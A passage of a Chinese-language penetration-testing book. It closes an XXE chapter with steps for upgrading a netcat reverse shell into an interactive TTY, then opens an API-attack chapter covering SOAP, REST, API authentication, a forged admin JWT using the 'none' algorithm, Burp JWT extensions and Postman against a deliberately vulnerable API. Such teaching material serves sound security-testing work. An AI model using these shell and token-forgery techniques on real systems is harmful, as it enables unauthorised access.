[...]

下一个命令可能看起来像是破坏了终端,但为了防止Ctrl-C终止我们的 shell,我们必须将 TTY 设置为raw并禁用每个字符的回显。我们在 shell 中输入的命令仍然会被处理,但没有激活反向 shell 时,终端本身可能看起来已经损坏。

我们告诉stty将终端设置为raw并通过-echo禁用回显:

python -c 'import pty; pty.spawn("/bin/bash")'
www-data$ ^Z
[1]+  Stopped                 nc -lvp 443
root@spider-c2-1:~# echo $TERM
screen
root@spider-c2-1:~# stty -a
speed 38400 baud; rows 43; columns 142; line = 0;
intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>; eol2 = <undef>; swtch = 
[...]
root@spider-c2-1:~# **stty raw -echo**

为了将我们的 shell 从后台恢复过来,我们输入fg命令。你会注意到,由于之前输入的stty raw -echo命令,这个命令并没有在终端中回显,但它应该还是会被处理:

python -c 'import pty; pty.spawn("/bin/bash")'
www-data$ ^Z
[1]+  Stopped                 nc -lvp 443
root@spider-c2-1:~# echo $TERM
screen
root@spider-c2-1:~# stty -a
speed 38400 baud; rows 43; columns 142; line = 0;
intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>; eol2 = <undef>; swtch = 
[...]
root@spider-c2-1:~# stty raw -echo
root@spider-c2-1:~# **nc -lvp 443**

从后台返回后,你将看到反向 shell 命令回显到屏幕上:nc -lvp 443,一切可能又看起来有些破损。没关系——我们可以输入reset来清理它。

在反向 shell 中,现在一切看起来都恢复正常,我们还需要设置相同的终端选项,包括行数、列数和类型,以便 shell 正常工作:

www-data$ **export SHELL**=**bash**

www-data$ **export TERM**=**screen**

www-data$ **stty rows 43 columns 142**

最终的结果是一个完全可用的终端,具有所有炫酷的功能,没错,我们甚至可以在我们的 netcat 反向 shell 中运行screen

交互式 shell

图 10.20:完全功能的交互式反向 shell

总结

在本章中,我们探讨了 XXE 漏洞利用在攻防演练中的实际应用。接着,我们讨论了潜在的 DoS 情况,这些情况如果小心使用,能够在红队攻击中提供干扰。

我们还研究了基于 XML 的请求伪造攻击,不仅可以进行端口扫描,还能通过链式利用攻击来访问我们本来无法接触到的易受攻击的应用程序。XXE 更常见的用途是从目标应用程序中泄露重要信息。我们不仅研究了传统的数据外泄方式,还探讨了在需要带外通信的场景下如何进行数据外泄。通过我们的云 C2 服务器,我们能够通过盲目 XXE 攻击来外泄数据。

最后,我们发现如何通过 XXE 实现远程代码执行。虽然这种攻击不太常见,但一些老旧的应用程序部署仍然可能成为此类攻击的受害者。

正如本章所展示的那样,文件格式解析器看似无害,但随着功能的增加,复杂性也随之而来,而复杂性正如他们所说,是安全性的敌人。XML 仍然无处不在,当它正确部署并锁定时,它非常强大。不幸的是,这并非总是如此,我们会利用每一个小小的错误。在接下来的章节中,我们将把注意力集中在 API 上,研究如何有效地测试和攻击它们。到目前为止你所学到的所有技能都将派上用场。

第十一章 攻击 API

到目前为止,我们已经研究了攻击传统应用程序——那种带有用户界面、登录面板,可能还有某种仪表板的应用程序。现代应用程序通常实现了解耦的基础架构,与传统应用程序不同,它们被拆分成多个较小的应用程序或微服务,这些服务共同协作为用户提供功能。应用程序编程接口API)并不是一个新概念。API 一词用于描述从 Windows 代码库(允许我们的用户级代码与操作系统内核交互)到提供笔记应用服务的 Web 服务等各种应用。显然,我们不会关注Windows APIWinAPI),而是会关注支撑互联网几乎一切的 Web 应用程序。当我在本章中提到 API 时,我指的是 Web 服务。

微服务是应用开发者采用的一个相对较新的概念,它摒弃了典型的单体应用设计,转而采用更加解耦的方式。其核心思想是将组件拆分为各自独立的实例,并通过一种通用语言(通常是通过网络,尤其是 HTTP 协议)进行访问。这种方式对开发和敏捷性大有裨益,因为它允许代码异步地推送到各个组件。开发人员可以专注于特定的组件,只要该组件的接口遵循约定的标准,就不必担心会破坏其他部分。

然而,这种方法并非没有缺点。随着这种模式的采用,新的安全挑战也随之而来。解耦的服务意味着更大的攻击面,涉及多个实例,无论是虚拟机还是 Docker 容器。更多的组件通常意味着更大的配置错误的风险,而这些错误当然可能被我们所利用。

组件之间的身份验证和授权强制执行也是一个新问题。如果我的单体应用将所有组件都集成在一起,我实际上不需要担心如何安全地与身份验证模块通信,因为它与应用在同一服务器上,有时甚至在同一个进程中。但如果我的身份验证模块被解耦,并且现在是一个在云中运行的 HTTP Web 服务,那么我就必须考虑我的用户界面与云中身份验证模块实例之间的网络通信。API 如何验证我的用户界面?这两个组件如何安全地协商身份验证响应,以便用户能够访问其他组件?

解耦对安全性也有其他有趣的影响。假设一个 API 是为 Windows 应用程序开发的来处理数据。API 会接受一个 HTTP 方法(如GETPUT等),并以 JSON 或 XML 的形式响应。Windows 本地应用程序读取响应并显示在 JSON 对象中返回的错误信息。显示一个包含任意字符串的 Windows 弹窗本身并不危险。因为user32.dllMessageBox()函数不会渲染它显示的字符串,所以无需对 API 响应中的危险 HTML 代码进行转义。现在假设同一个 API 突然被集成到一个全新的 Web 应用程序中。JSON 响应中未转义的 HTML 数据可能就会成为问题。

到本章结束时,你将能够熟练掌握:

  • 不同类型的 Web API 架构

  • API 如何处理身份验证

  • JSON Web 令牌JWT

  • 自动化 API 攻击

API 通信协议

从本质上讲,Web API 是简单的 HTTP 客户端-服务器环境。请求通过 HTTP 进入,响应通过 HTTP 出去。为了进一步标准化,开发了一些协议,许多 API 遵循其中之一来处理请求。这绝不是一个详尽的列表,但它很可能是你在实际应用中遇到的:

  • 表现层状态转移REST

  • 简单对象访问协议SOAP

当然,还有其他类型的协议可以供 API 使用,但尽管它们的协议不同,大多数相同的安全挑战仍然存在。最流行的协议是 RESTful API,其次是 SOAP API。

SOAP

SOAP 是由微软开发的,因为分布式组件对象模型DCOM)是一个二进制协议,这使得通过互联网进行通信变得有些复杂。SOAP 则采用 XML,一种结构化且人类可读的语言,用于在客户端和服务器之间交换消息。

注意

SOAP 是标准化的,可以通过www.w3.org/TR/soap12/进行完整的审阅。

向 API 主机发送的典型 SOAP 请求如下所示:

POST /**UserData** HTTP/1.1
Host: internal.api
Content-Type: application/soap+xml; charset=utf-8

<?xml version="1.0"?>

<soap:Envelope  soap:encodingStyle="http://www.w3.org/2003/05/soap-encoding">

<soap:Body >
  <m:GetUserRequest>
    <m:Name>**Administrator**</m:Name>
  </m:GetUserRequest>
</soap:Body>

</soap:Envelope>

从服务器返回的响应,正如你所期望的那样,也是 XML 格式的:

HTTP/1.1 200 OK
Content-Type: application/soap+xml; charset=utf-8

<?xml version="1.0"?>

<soap:Envelope  soap:encodingStyle="http://www.w3.org/2003/05/soap-encoding">

<soap:Body >
  <m:GetUserResponse>
    **<m:FullName>Dade Murphy</m:FullName>**
    **<m:Email>dmurphy@webapp.internal</m:Email>**
    **<m:IsAdmin>True</m:IsAdmin>**
  </m:GetUserResponse>
</soap:Body>
</soap:Envelope>

获取用户详细信息的过程需要大量开销。SOAP 需要一个定义 XML 版本的头部,信封规范,一个主体,最后是参数。响应也有类似的结构要求。

尽管 SOAP 在今天的标准下显得臃肿,但其设计经过时间考验,已经存在了很长时间。作为攻击者,我们不关心性能或网络带宽的利用率。我们只需要知道所有可能的注入点,并理解身份验证是如何执行的。

虽然 EnvelopeBodyHeader 标签是标准化的,但 body 的内容会根据请求类型、应用程序和 Web 服务的实现有所不同。GetUserRequest 操作及其 Name 参数特定于 /UserData 端点。为了寻找潜在的漏洞,我们需要了解所有可能的端点及其相应的操作或参数。在黑盒场景中,我们如何获取这些信息?

SOAP 请求和响应的 XML 结构通常在 Web 服务描述语言 (WSDL) 文件中定义。对于公共 API,可以通过直接查询 API 并在特定的端点 URL 后附加 ?wsdl 来获得此文件。如果配置正确,Web 服务将以一个包含该端点所有可能操作和参数的大 XML 文件作出响应:

SOAP

图 11.1:公共 API 的 WSDL 响应

这个文件在进行互动时非常有用,但并非总是可用。如果 WSDL 无法下载,最好的做法是直接联系客户端,索要定义或请求示例列表。也有可能客户端会拒绝,并希望从外部威胁的角度测试 API。

最后的办法显然是观察 Web、移动或本地应用与 API 的交互,捕获 Burp 中的 HTTP 流量,并通过 Intruder 或 Scanner 模块重放它。这显然不是理想的做法,因为在正常的应用操作中,脆弱的参数或操作可能永远不会被调用。当范围允许时,最好直接从开发人员那里获取 WSDL。

REST

REST 是现代应用中最常见的架构风格,可能是你会遇到的主要架构。它易于实现,且易于阅读,因此被开发人员广泛采用。虽然它的成熟度不如 SOAP,但它提供了一种简单的方式来实现微服务的解耦设计。

与 SOAP 类似,RESTful API 通过 HTTP 操作,并且大量使用协议动词,包括但不限于:

  • GET

  • POST

  • PUT

  • DELETE

如果我们希望查询某个用户的信息,一个 RESTful API 可能会通过 /users 端点实现一个 GET 请求。查询将通过 URL 参数提交:

**GET /users?name=admin HTTP/1.1**
Host: api.ecorp.local:8081
**Content-Type: application/json**
**Accept: application/json**
**Authorization: Bearer b2YgYmFkIG5ld3M**
Cache-Control: no-cache

在请求中需要注意的是 Content-TypeAcceptAuthorization 头。Content-Type 头指定了传入数据应由 API 以何种格式处理。Accept 头指定了客户端在服务器响应中可接受的格式。典型的 API 将支持 JSON 或 XML,或有时两者兼容。最后,Authorization 头指定了一个持有者令牌,对于要求身份验证的端点,这将是必须的。这使得服务器能够识别发起请求的用户,并确定他们是否被授权执行此操作。

一些自定义 API 可能会使用自定义头部进行身份验证和授权,例如 X-Auth-Token,但其原理是相同的。一旦我们知道身份验证和授权令牌是如何在客户端和服务器之间传递的,我们就可以开始寻找潜在的弱点。

我们之前请求的服务器响应可以预见地简单且易于读取:

**HTTP/1.0 200 OK**
Server: WSGIServer/0.1 Python/2.7.11
Content-Type: text/json

{"user": {"name": "**admin**", "id": 1, "fullname": "Dade Murphy"}}

一个 200 HTTP 响应表示请求成功,我们的令牌是有效的,我们现在得到了一个包含管理员用户所有详细信息的 JSON 对象。

RESTful API 通常使用 JSON 进行请求和响应,但没有严格的标准,开发者可以选择使用自定义的 XML 协议,甚至是原始二进制数据。虽然这种做法不常见,因为微服务的互操作性和维护性变得困难,但也并非闻所未闻。

API 身份验证

解耦带来了一些身份验证和授权方面的挑战。虽然有些 API 不要求身份验证并不罕见,但你遇到的某些 Web 服务可能会要求客户端以某种方式进行身份验证。

那么,我们如何实现 API 的身份验证呢?这个过程与典型的应用程序没有太大区别。其核心是,身份验证要求你提供某些你知道的信息,并可选地提供某些你拥有的东西,这些信息通常对应于 API 数据库中的一条记录。如果你知道的东西和你拥有的东西是保密的,并且只有持有这些信息的人(假设是这样的人)才能访问它,那么 API 可以合理地确认提供这些信息的客户端获得了访问权限。由于 HTTP 是无状态的,API 现在只需要跟踪这个特定的客户端。

传统的 Web 应用程序会接受身份验证数据(即你知道的信息,通常是用户名和密码组合),并可能需要第二重因素(即你拥有的东西,例如一次性密码、短信验证码或手机推送通知)。一旦应用程序验证了你的身份,它将发放一个会话 ID,浏览器会通过 Cookies 在后续身份验证请求中传递此 ID。

API 也类似,需要在每次需要身份验证的请求中传递某种秘密密钥或令牌。这个令牌通常由 API 生成,在通过其他方式成功验证后发给用户。尽管典型的 Web 应用程序几乎总是使用 Cookie 头部来跟踪会话,API 则有更多选择。

基本身份验证

是的,这种方式在 Web 应用程序中也很常见,但由于安全问题,现代应用程序一般不再使用。基本身份验证会通过 Authorization 头部以明文形式传递用户名和密码:

GET /users?name=admin HTTP/1.1
Host: api.ecorp.local:8081
Content-Type: application/json
Accept: application/json
**Authorization: Basic YWRtaW46c2VjcmV0**
Cache-Control: no-cache

这种方式显而易见的问题是,凭据以明文方式在网络中传输,攻击者只需要捕获一次请求就能破解用户。会话 ID 和令牌仍然能给攻击者提供访问权限,但它们可以过期或被列入黑名单。

基本认证应该通过 HTTPS 发送,因为用户凭证是以明文方式传输的。现代 API 通常避免使用这种认证方式,因为凭证可能被代理缓存,或者被中间人攻击MITM)拦截,甚至可能从内存转储中提取出来。如果 API 使用 LDAP 来验证用户的 Active Directory 域,最好不要在每次 API 请求时都传输用户域凭证。

API 密钥

更常见的认证方式是通过提供一个密钥或令牌来进行 API 请求。密钥是与访问 Web 服务的账户唯一相关的,应该像密码一样保密。然而,与密码不同,密钥通常不是由用户生成,因此不太可能在其他应用程序中被重复使用。虽然没有行业标准来规定如何将此值传递给 API,开放授权OAuth)和 SOAP 协议中已有一些定义要求。常见的传递方式包括自定义头部、Cookie头部,甚至通过GET参数发送令牌或密钥。

使用GET URL 参数传递密钥通常是一个不好的主意,因为该值可能会被浏览器、代理和 Web 服务器日志文件缓存:

GET /users?name=admin&**api_key=aG93IGFib3V0IGEgbmljZSBnYW1lIG9mIGNoZXNz** HTTP/1.1
Host: api.ecorp.local:8081
Content-Type: application/json
Accept: application/json
Cache-Control: no-cache

另一种方式是使用自定义头部将 API 密钥与请求一起发送。这是一种稍微更好的替代方法,但仍然需要通过 HTTPS 保持保密,以防止 MITM 攻击捕获此值:

GET /users?name=admin HTTP/1.1
Host: api.ecorp.local:8081
Content-Type: application/json
Accept: application/json
**X-Auth-Token: aG93IGFib3V0IGEgbmljZSBnYW1lIG9mIGNoZXNz**
Cache-Control: no-cache

承载者认证

类似于密钥,承载令牌也是秘密值,通常通过Authorization HTTP 头部传递,但与使用Basic类型不同,我们使用Bearer类型。对于 REST API,只要客户端和服务器就如何交换此令牌达成一致,就没有标准来定义这个过程,因此你可能会在实际中看到稍有不同的实现:

GET /users?name=admin HTTP/1.1
Host: api.ecorp.local:8081
Content-Type: application/json
Accept: application/json
**Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjEiLCJ1c2VyIjoiYWRtaW4iLCJpc19hZG1pbiI6dHJ1ZSwidHMiOjEwNDUwNzc1MH0.TstDSAEDcXFE2Q5SJMWWKIsXV3_krfE4EshejZXnnZw**
Cache-Control: no-cache

上述承载令牌是 JWT 的一个示例。它比传统的不透明令牌稍长,但有一些优势。

JWT

JWT 是一种相对较新的认证机制,在 Web 服务中逐渐占据市场份额。它是一种紧凑、自包含的方式,用于在两方之间安全地传递信息。

JWT 非常灵活,且易于在认证协议中实现。SOAP 和 OAuth 都可以轻松实现 JWT 作为承载者。

注意

OAuth 的相关信息可以在oauth.net/2/找到。

JWT(JSON Web Token)本质上是通过基于哈希的消息认证码HMAC)和一个密钥,或者使用 RSA 密钥对签名的声明。HMAC 是一种可以用来验证数据完整性和消息认证的算法,非常适合 JWT。JWT 由一个base64url编码的头部、有效载荷和相应的签名组成:

base64url(**header**) . base64url(**payload**) . base64url(**signature**)

令牌的头部将指定用于签名的算法,负载将是声明(例如,我是用户 1 并且我是管理员),第三部分将是签名本身。

如果我们检查前面的持有者令牌,我们可以看到典型 JWT 的组成。它包含三个由句号分隔的信息块,使用 URL 安全的 Base64 编码。

注意

URL 安全的 Base64 编码使用与传统 Base64 相同的字母表,唯一的区别是将字符+替换为-,将/替换为_

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
.
eyJpZCI6IjEiLCJ1c2VyIjoiYWRtaW4iLCJpc19hZG1pbiI6dHJ1ZSwidHMiOjEwNDUwNzc1MH0
.
TstDSAEDcXFE2Q5SJMWWKIsXV3_krfE4EshejZXnnZw

第一部分是头部,描述了用于签名的算法。在这种情况下是使用 SHA-256 的 HMAC。类型被定义为 JWT。

我们可以在浏览器控制台中使用 JavaScript 的atob()函数来解码该部分为可读文本:

> atob('eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9')
"{"alg":"**HS256**","typ":"**JWT**"}"

第二部分或负载通常是任意数据,表示某个特定的声明,也称为负载。在这种情况下,它告诉服务器我是一个名为admin的管理员用户,用户 ID 为1,时间戳为104507750。时间戳是一个好主意,因为它们可以防止重放攻击。

> atob('eyJpZCI6IjEiLCJ1c2VyIjoiYWRtaW4iLCJpc19hZG1pbiI6dHJ1ZSwidHMiOjEwNDUwNzc1MH0')
"{"id":"**1**","user":"**admin**","is_admin":**true**,"ts":**104507750**}"

最后一部分是base64url编码的 32 字节 SHA-256 HMAC 签名。

当 API 服务器接收到这个三部分的令牌时,它将:

  • 解析头部以确定算法:在这种情况下是 HMAC SHA-256。

  • 计算由句号连接的前两个base64url编码部分的 HMAC SHA-256 值:

    HMAC-SHA256(base64url(header) + "." + base64url(payload), **"secret_key"**)
    
  • 如果签名验证通过,则也认为负载有效。

JWT 怪癖

虽然这个过程目前在密码学上是安全的,但我们有几种方法可以篡改这个令牌,试图欺骗不完善的 API 实现。

首先,虽然头部和负载是签名的,但我们实际上可以修改它们。令牌数据在我们的控制之下。唯一我们不知道的是密钥。如果我们修改了负载,签名将失败,并且我们预计服务器会拒绝我们的请求。

但是请记住,头部部分在签名验证之前会被解析。这是因为头部包含关于 API 如何验证消息的指令。这意味着我们可能会更改这些数据,并破坏实现中的某些内容。

有趣的是,JWT 的请求评论RFC)规范了一个名为"none"的受支持签名算法,可以通过实现来假设该令牌是通过其他方式验证的:

JWT quirks

图 11.2:RFC 提到使用"none"算法的未加密 JWT

注意

完整的 JWT RFC 可以在这里查看:tools.ietf.org/html/rfc7519

一些 JWT 库将遵循标准并支持这个特定的算法。那么,当我们在前面的负载中使用"none"算法时,会发生什么呢?

我们的令牌看起来像这样,最后一个句号后面没有附加签名:

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
.
eyJpZCI6IjEiLCJ1c2VyIjoiYWRtaW4iLCJpc19hZG1pbiI6dHJ1ZSwidHMiOjEwNDUwNzc1MH0
.
[blank]

如果服务器端库遵循 JWT RFC,则该令牌将被验证并认为是有效的。我们可以使用 Burp Suite JSON Web Tokens扩展来测试这个修改后的令牌,该扩展可以从 BApp Store 下载:

JWT 的怪癖

图 11.3:JWT Burp 扩展

我们可以在第一个字段中输入 JWT 值,并提供一个虚拟密钥。由于我们不再使用带密钥的 HMAC,这个值将被忽略。扩展应该确认签名和 JWT 令牌是有效的:

JWT 的怪癖

图 11.4:没有签名的 JWT 被视为有效

注意

关于这种类型攻击的更多信息可以在 Auth0 上找到:auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/

这个简单的攻击在使用不安全 JWT 实现的库的 API 中可能会带来毁灭性的后果。伪造认证票证的能力对于我们作为攻击者来说非常有用。

Burp JWT 支持

手动拆分头部、载荷和签名部分有些繁琐,我们希望能自动化这个过程。如果我们要攻击服务器上的 JWT 实现,我们可能还需要修改一些参数。这可能会很麻烦,尤其是每次都需要重新计算签名时。

JWT4B 扩展程序是为了检查请求中的 JWT 数据、解析它并验证签名,所有这些操作都可以在 Burp Suite 用户代理中完成。

注意

JWT4B 可以从 GitHub 下载:github.com/mvetsch/JWT4B

下载完 JWT4B JAR 文件到磁盘后,我们可以手动将其加载到 Burp 中。在Extender选项卡下,点击Extensions,然后点击Add按钮:

Burp JWT 支持

图 11.5:Burp 扩展选项卡

Load Burp Extension弹出窗口中,我们可以告诉 Burp 从磁盘上的位置加载 JWT4B JAR 文件:

Burp JWT 支持

图 11.6:加载 JWT4B JAR 扩展文件

JWT4B 将允许我们拦截包含 JWT 的授权头请求,替换载荷,并重新签名,使用相同的密钥(如果我们有)或随机密钥,甚至可以更改算法:

Burp JWT 支持

图 11.7:动态修改 JWT

JWT4B 使得攻击 JWT 实现变得更加简单,因为它可以为我们完成一些繁重的工作。

Postman

在测试典型的 Web 应用程序时,我们首先配置系统代理指向 Burp Suite。现在,我们所有的请求都可以在使用应用程序时进行检查。发起攻击非常简单,因为这些请求是由 Burp 可以通过网络看到的用户界面为我们构建的。在正常操作中,用户输入数据到搜索字段中,例如,应用程序会构造包含所有适当参数的GETPOST请求,然后通过网络发送出去。所有这些有效的请求现在都可以通过攻击代理进行重放、修改和扫描。当有用户界面来驱动流量生成时,发现过程变得更加简单。

如果没有用户界面组件,只有一个 API 端点和一些文档可供参考,那么构建一系列curl请求并手动解析响应将非常繁琐。如果交互需要身份验证,获取令牌对于复杂的 Web 服务来说将是一场噩梦。

Postman是一个极好的工具,我们可以用它来构建一系列针对目标 API 的请求,使得测试变得轻松。如果客户和开发人员配合良好,尤其如此。为了更高效地利用测试时间,客户可以向我们提供一系列已生成的请求,这将大大加快应用程序的测试过程。

我们的工作通常有时间限制,构建 RESTful API 的攻击载荷非常耗时,即使有文档也不例外。像 Postman 这样的工具支持集合,它本质上是一个完全可定制的 API 测试序列。开发人员或其他测试人员可以创建这些集合,集合中包含了每个可能的端点请求及其所有可能的参数。它们甚至可以自动捕获数据,例如身份验证令牌,并将其自动插入到后续的请求中。Postman 使得 API 测试变得简单;开发人员喜欢它,我们也喜欢。

作为攻击者,我们可以从客户那里获取一整套已配置好的集合,并在我们自己的环境中运行它。我们可以准确地看到 API 应该如何工作,正如开发人员所预期的那样。Postman 还方便地支持上游代理,这样我们就可以通过 Burp 将所有格式正确的请求从集合运行器推送出去,并快速开始通过 Burp 的 Intruder、Scanner 和 Repeater 模块进行攻击。

Postman 有一个免费版,每月支持最多 1000 次调用,但如果你发现自己测试越来越多的 API,Pro 版和企业版可能是一个不错的投资。

注意

Postman 有免费版、专业版和企业版,可以在www.getpostman.com/下载。

为了演示目的,本章我们将使用 Matt Valdes 提供的脆弱 API Docker 应用程序,网址为github.com/mattvaldes/vulnerable-api。在我们的演示中,API 运行在http://api.ecorp.local:8081/上。

安装了 Docker 后,脆弱的 API 可以通过 Linux 终端使用docker run命令下载并执行。我们还可以使用-p选项指定要在容器中暴露的端口。最后,--name参数将指示 Docker 去获取mkam/vulnerable-api-demo容器:

root@kali:~# docker run -p 8081:8081 --name api mkam/vulnerable-api-demo
CRIT Supervisor running as root (no user in config file)
WARN Included extra file "/etc/supervisor/conf.d/vAPI.conf" during parsing
INFO RPC interface 'supervisor' initialized
CRIT Server 'unix_http_server' running without any HTTP authentication checking
INFO daemonizing the supervisord process
INFO supervisord started with pid 10
system type 0x794c7630 for '/var/log/supervisor/supervisord.log'. please report this to bug-coreutils@gnu.org. reverting to polling
INFO spawned: 'vAPI' with pid 12
INFO success: vAPI entered RUNNING state, process has stayed up for > than 1 seconds (startsecs)

为了测试功能,我们可以使用curl对我们刚启动的 Docker API 的根 URL 执行GET请求:

root@kali:~# curl http://api.ecorp.local:8081/
{
  "response": {
    "Application": "vulnerable-api",
    "Status": "running"
  }
}

安装

Postman 客户端有 Linux、Mac 和 Windows 版本。为了简单起见,我们将在攻击机 Kali 上使用 Linux 客户端。在 Windows 和 Mac 上安装相对简单,但在 Linux 上你可能需要安装一些依赖项才能启动。

Postman 客户端是一个 Electron 应用程序,具有相当的可移植性,但它确实需要libgconf,该库在 Kali 的仓库中提供。我们可以通过终端使用apt-get install命令安装这个依赖,命令如下:

root@kali:~/tools# apt-get install libgconf-2-4
Reading package lists... Done
Building dependency tree       
[...]

为了获取最新编译的 Postman 版本,我们可以从其 Linux x64 仓库使用wget命令下载 gzipped tarball,网址为dl.pstmn.io/download/latest/linux64wget命令会将文件保存为postman.tar.gz,存储在本地目录中:

root@kali:~/tools# wget https://dl.pstmn.io/download/latest/linux64 -O postman.tar.gz
[...]
HTTP request sent, awaiting response... 200 OK
Length: 78707727 (75M) [application/gzip]
Saving to: 'postman.tar.gz'
[...]

我们将使用tar zxvf命令将内容提取到我们的tools目录中,如下所示:

root@kali:~/tools# tar zxvf postman.tar.gz
Postman/
Postman/snapshot_blob.bin
[...]

安装完依赖项后,可以通过调用预编译的Postman二进制文件来启动 Postman。此文件位于我们刚从 tarball 中提取的Postman/目录中:

root@kali:~/tools# ~/tools/Postman/Postman

安装

图 11.8:在 Linux 上运行的 Postman 客户端

为了简单测试基本功能,我们可以创建一个新的请求,默认工作区将打开。

用户界面大部分都相当直观。我们可以输入 API URL,修改 HTTP 方法,传递自定义头信息,甚至通过几次点击构建有效的授权。

作为测试,我们可以发出与之前用curl发出的相同请求。响应将出现在正文选项卡中,如下图所示,并且可以选择美化内容。当响应为大量数据时,Postman 可以自动解析并将其格式化为 XML、HTML、JSON 或纯文本格式,这一特性非常受欢迎:

安装

图 11.9:向 API 发送的 Postman 请求示例

Postman 的一个优势是能够记录我们在左侧历史面板中所做的所有请求。这使得我们,作为 API 开发人员或质量保证QA)分析师,能够将请求和响应保存在集合中。

开发人员可以导出集合,我们则可以在参与过程中导入。这节省了我们大量构建自己查询的时间,并可以直接开始寻找安全漏洞。

上游代理

Postman 还支持通过系统代理或自定义服务器路由请求。明智的选择是 Burp 或 OWASP ZAP。一旦我们导入并运行集合,每个请求都会被捕获,并准备好进行检查和重放。

文件设置下,找到一个代理标签,应该可以让我们指向本地的 Burp 代理,默认情况下是127.0.0.1,端口为8080

上游代理

图 11.10:Postman 上游代理配置

我们在 Postman 中的所有后续请求也将显示在 Burp 的代理 HTTP 历史记录中:

上游代理

图 11.11:Burp 显示 Postman 生成的请求

环境

为了构建有效的集合,我们应该为每个目标 API 创建一个新的 Postman 环境。Postman 环境允许我们在变量中存储数据,这对于执行一些操作非常有用,例如在集合中的请求之间传递授权令牌。要创建新的环境,我们可以使用左上角的创建新环境标签:

环境

图 11.12:在 Postman 中创建新环境

在弹出窗口中,输入一个有意义的名称,然后点击添加来创建一个新的空环境:

环境

图 11.13:添加新的 Postman 环境

请求现在可以与我们的 ECorp API 环境关联。集合也可以在特定环境中运行,允许在请求之间创建和传递变量。

以下图显示了一个简单的GET请求排队等待在 ECorp API 环境中运行:

环境

图 11.14:为请求指定环境

集合

如前所述,集合只是按照特定顺序排列的一组 API 请求。它们可以导出为 JSON 格式并导入到任何 Postman 客户端中,使其具有很强的可移植性。

为了展示 Postman 集合的强大功能,我们将为我们的易受攻击 API 实例创建一个集合,实例名为api.ecorp.local,运行在端口8081上。

如果我们查看 Matt Valdes 的易受攻击 API 的文档,我们会注意到大多数交互都需要通过自定义的X-Auth-Token HTTP 头传递授权令牌。虽然大多数 RESTful API 尝试使用Authorization头传递令牌,但自定义头并不少见。这就是为什么像 Burp 和 Postman 这样高度可定制的工具非常适合进行安全测试,因为即使我们遇到偏离常规的情况,它们也能让我们自动化大部分工作。

注意

文档可以在README.md中找到,链接地址为github.com/mattvaldes/vulnerable-api

文档指出,如果我们发送一个包含 JSON 格式认证数据的 POST 请求到 /tokens,我们可以获得一个新的令牌。默认的凭证是 user1pass1。我们的认证请求 POST 请求体应该如下所示:

{
  "auth": {
    "passwordCredentials": {
       "username": "**user1**",
        "password": "**pass1**"
    }
  }
}

API 将返回一个包含后续认证请求所需令牌的 JSON 格式对象:

{
  "access": {
    "token": {
      "expires": "**[Expiration Date]**",
      "id": "**[Token]**"
    },
    "user": {
      "id": 1,
      "name": "user1"
    }
  }
}

然后,我们可以通过 X-Auth-Token 头将 id 值传递给 /user/1 端点,请求应该成功:

Collections

图 11.15:成功认证请求到漏洞 API

现在我们有了一系列请求,我们想要创建一个集合并自动化一些测试。

再次点击左上角的 Create New 按钮,选择 Collection

Collections

图 11.16:创建新的集合

在弹出框中,我们可以输入名称,并在需要时添加描述,然后点击 Create 按钮:

Collections

图 11.17:创建新的集合

我们所做的所有请求都会记录在工作区的 History 标签中。我们可以选择需要的请求,并点击右上角 Send 旁边的 Save 按钮:

Collections

图 11.18:将请求保存到集合中

在底部,我们应该能看到新的 ECorp API 集合,并可以选择它来保存我们的请求:

Collections

图 11.19:选择目标集合

对任何必须加入此集合的请求重复此过程。运行时,我们预计我们的集合会在第一个请求中获得新的令牌,并使用新提供的令牌发出第二个认证请求到 /user/1

Collections

图 11.20:认证的 Postman 请求

此时,我们可以将其导出并导入到其他地方。目前,我们的集合可以运行,但令牌不会传递到第二个请求。

为此,我们需要利用 Postman 中的一个功能,叫做 Tests。每个请求都可以配置为在继续之前执行测试并执行某个操作。通常,这些可以用于验证请求是否成功。开发人员可以利用 Tests 来确保他们刚刚推送的代码没有破坏任何东西。

测试是用 JavaScript 编写的,所以一点点编程知识将大有帮助。幸运的是,我们可以复用现成的测试来满足我们的需求。

对于我们在 ECorp API 集合中的 Get Auth Token 请求,测试需要检查响应,解析为 JSON,并提取令牌 ID。为了将其传递给另一个请求,我们可以利用 ECorp API 环境,并将数据存储在一个名为 auth_token 的变量中。

实现这一点的代码相当简单,尽管如果您不熟悉 JavaScript 可能会有点奇怪。每个pm.test条目都是按照列出的顺序执行的单独测试。如果任何测试失败,运行将提醒我们:

pm.test(**"Status code is 200"**, function () {
    **pm.response.to.have.status(200)**;
});

pm.test**("Save Auth Token"**, function () {
    var data = **pm.response.json()**;
    pm.environment.set(**"auth_token"**, **data['access']['token']['id']**);
});

第一个测试只是检查 API 的 HTTP 响应是否为200。其他任何响应都会在集合运行期间引发错误。

第二个测试将解析响应文本为 JSON 并将其存储在本地的data变量中。如果您回忆一下/tokens响应的层次结构,我们需要使用 JavaScript 数组表示法访问access.token字段中的id值:data['access']['token']['id']

使用pm.environment.set函数,我们将id值存储在auth_token环境变量中,使其可供其他请求使用。

每次运行此集合中的请求时,auth_token都将被更新。可以通过点击名称旁边的“眼睛”图标来检查环境:

Collections

图 11.21:检查 Postman 环境

我们对/user/1的第二个请求要求通过X-Auth-Token标头传递此值。为此,我们添加一个新的自定义标头,并在字段中键入{{以显示现有变量列表。Postman 将为我们自动完成现有变量:

Collections

图 11.22:在请求中使用环境变量

点击发送,我们可以验证身份验证请求是否成功:

Collections

图 11.23:身份验证请求成功

Collection Runner

集合可以使用熟悉的 JSON 格式导出和导入。导入是一个简单的拖放操作。开发人员和质量保证人员可以像之前一样创建这些集合,导出它们,并作为参与的一部分将文件发送给我们。这极大地简化了我们评估 API 的工作,因为耗时的工作已经完成。

导入后,我们的集合可以通过 Postman Runner 执行,可通过菜单中新建按钮旁边的Runner按钮访问:

Collection Runner

图 11.24:打开 Runner 组件

打开一个新的Collection Runner窗口,其中包含所有导入的集合。选择 ECorp API 集合,ECorp API 环境,并点击运行 ECorp API

Collection Runner

图 11.25:运行 ECorp 集合

